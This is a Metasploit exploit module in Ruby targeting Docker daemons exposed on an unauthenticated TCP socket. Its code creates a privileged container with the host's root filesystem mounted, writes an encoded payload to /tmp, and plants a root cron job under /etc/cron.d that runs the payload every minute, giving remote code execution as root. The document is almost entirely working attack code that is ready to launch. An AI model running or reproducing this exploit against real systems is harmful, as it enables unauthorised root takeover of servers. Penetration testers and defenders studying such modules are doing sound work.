Docker Daemon - Unprotected TCP Socket Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Docker Daemon - Unprotected TCP Socket Exploit',
        'Description' => %q{
          Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
          with tls but without tls-auth), an attacker can create a Docker
          container with the '/' path mounted with read/write permissions on the
          host server that is running the Docker container. As the Docker
          container executes command as uid 0 it is honored by the host operating
          system allowing the attacker to edit/create files owned by root. This
          exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
          the host server.

          The Docker image should exist on the target system or be a valid image
          from hub.docker.com.
        },
        'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'],
          ['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket']
        ],
        'DisclosureDate' => '2017-07-25',
        'Targets' => [
          [
            'Linux x64', {
              'Arch' => ARCH_X64,
              'Platform' => 'linux'
            }
          ],
          [
            'Python', {
              'Arch' => ARCH_PYTHON,
              'Platform' => 'python',
              'Payload' => {
                'Compat' => {
                  'ConnectionType' => 'reverse noconn none tunnel'
                }
              }
            }
          ]
        ],
        'Payload' => { 'Space' => 65000, 'DisableNops' => true },
        'DefaultOptions' => { 'WfsDelay' => 180 },
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(2375),
        OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
        OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
      ]
    )
  end

  def check_image(image_id)
    vprint_status("Check if images exist on the target host")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('images', 'json'),
      'ctype' => 'application/json'
    )
    return unless res && res.code == 200 && res.body.include?(image_id)

    res
  end

  def pull_image(image_id)
    print_status("Trying to pulling image from docker registry, this may take a while")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri('images', 'create?fromImage=' + image_id),
      'ctype' => 'application/json'
    )
    return unless res && res.code == 200

    res
  end

  def make_container_id
    return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?

    rand_text_alpha_lower(8)
  end

  def make_cmd(mnt_path, cron_path, payload_path)
    vprint_status('Creating the docker container command')
    echo_cron_path = mnt_path + cron_path
    echo_payload_path = mnt_path + payload_path

    case target
    when targets[0] # linux
      command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
      cron_command = payload_path
    when targets[1] # python
      command = "echo \"#{payload.raw}\" >> #{echo_payload_path} \&\& "
      cron_command = "python #{payload_path}"
    end

    command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
    command << "echo \"\" >> #{echo_cron_path} \&\& "
    command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"

    command
  end

  def make_container(mnt_path, cron_path, payload_path)
    vprint_status('Setting container json request variables')
    {
      'Image' => datastore['DOCKERIMAGE'],
      'Cmd' => make_cmd(mnt_path, cron_path, payload_path),
      'Entrypoint' => %w[/bin/sh -c],
      'HostConfig' => {
        'Binds' => [
          '/:' + mnt_path
        ],
        'Privileged' => true,
        'UsernsMode' => 'host'
      }
    }
  end

  def del_container(container_id)
    send_request_cgi(
      {
        'method' => 'DELETE',
        'uri' => normalize_uri('containers', container_id),
        'ctype' => 'application/json'
      },
      1 # timeout
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('containers', 'json'),
      'ctype' => 'application/json',
      'headers' => { 'Accept' => 'application/json' }
    )

    if res.nil?
      print_error('Failed to connect to the target')
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res && res.code == 200 && res.headers['Server'].include?('Docker')
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    # check if target is vulnerable
    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Failure::Unknown, 'Failed to connect to the target')
    end

    # check if image is not available, pull it or fail out
    image_id = datastore['DOCKERIMAGE']
    if check_image(image_id).nil?
      fail_with(Failure::Unknown, 'Failed to pull the docker image') if pull_image(image_id).nil?
    end

    # create required information to create json container information.
    cron_path = '/etc/cron.d/' + rand_text_alpha(8)
    payload_path = '/tmp/' + rand_text_alpha(8)
    mnt_path = '/mnt/' + rand_text_alpha(8)
    container_id = make_container_id

    # create container
    res_create = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri('containers', 'create?name=' + container_id),
      'ctype' => 'application/json',
      'data' => make_container(mnt_path, cron_path, payload_path).to_json
    )
    fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201

    print_status("The docker container is created, waiting for deploy")
    register_files_for_cleanup(cron_path, payload_path)

    # start container
    send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri('containers', container_id, 'start'),
        'ctype' => 'application/json'
      },
      1 # timeout
    )

    # wait until container stopped
    vprint_status("Waiting until the docker container stopped")
    res_wait = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri('containers', container_id, 'wait'),
      'ctype' => 'application/json',
      'headers' => { 'Accept' => 'application/json' }
    )

    # delete container
    deleted_container = false
    if res_wait && res_wait.code == 200
      vprint_status("The docker container has been stopped, now trying to remove it")
      del_container(container_id)
      deleted_container = true
    end

    # if container does not deploy, remove it and fail out
    unless deleted_container
      del_container(container_id)
      fail_with(Failure::Unknown, "The docker container failed to deploy")
    end
    print_status('Waiting for the cron job to run, can take up to 60 seconds')
  end
end